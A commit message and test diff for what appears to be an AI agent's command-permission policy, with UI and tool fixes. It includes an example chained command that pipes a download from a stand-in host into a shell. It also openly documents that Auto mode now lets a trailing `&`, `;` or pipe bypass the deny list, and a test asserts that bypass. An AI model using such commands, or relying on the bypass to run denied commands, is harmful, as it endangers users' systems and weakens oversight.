A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

tests/test_agent_policy.py

@@ -166,14 +166,21 @@ def test_a_plain_command_still_matches_a_deny_list():
         "$(shutdown -h now)",
     ],
 )
-def test_a_composed_command_cannot_slip_past_a_deny_list(command):
-    """One character used to be the whole of the difference.
+def test_auto_runs_a_composed_command_even_with_a_deny_list(command):
+    """Auto means Auto, and this is what that costs.
 
-    `subject` returns None for anything carrying a metacharacter, so no pattern
-    could match it -- and the original reasoning said that was safe for a deny
-    list because it "returns you to the mode". True in Manual, Edit and Plan.
-    In Auto the mode is ALLOW, so `shutdown -h now` asked and
-    `shutdown -h now &` ran.
+    There was once a rule that an unmatchable command line ASKed whenever a deny
+    list existed, so that `shutdown -h now &` could not run where
+    `shutdown -h now` asked. It is gone, deliberately: the shipped deny list is
+    non-empty, so the rule made *every* compound command ask in Auto --
+    `cd build && make`, `pytest | tail`, anything with a pipe -- and the mode
+    whose whole purpose is not asking asked about most real commands.
+
+    What is given up is exactly what this test now asserts: a deny pattern can
+    be walked past with a trailing `&`, a `;` or a pipe. Do not "fix" it by
+    putting the branch back; that is the regression, not the fix. The upgrade
+    that restores both properties is to match the deny list against each segment
+    of a composed line, in `decide`.
     """
     decision = decide(
         mode=policy.MODE_AUTO,
@@ -182,7 +189,24 @@ def test_a_composed_command_cannot_slip_past_a_deny_list(command):
         command=command,
         deny=("shutdown *", "reboot *"),
     )
-    assert decision.verdict == ASK, command
+    assert decision.verdict == ALLOW, command
+
+
+@pytest.mark.parametrize("mode", [policy.MODE_MANUAL, policy.MODE_EDIT, policy.MODE_PLAN])
+def test_every_other_mode_still_asks_about_a_composed_command(mode):
+    """The change above is scoped to Auto, and only because Auto's row is ALLOW.
+
+    Everything else asks before running a command whatever it looks like, so
+    nothing about those three modes moved.
+    """
+    decision = decide(
+        mode=mode,
+        risk=RISK_EXECUTE,
+        tool_name="shell_run",
+        command="cd build && make",
+        deny=("shutdown *",),
+    )
+    assert decision.verdict == ASK
 
 
 def test_a_composed_command_is_still_fine_when_nothing_is_denied():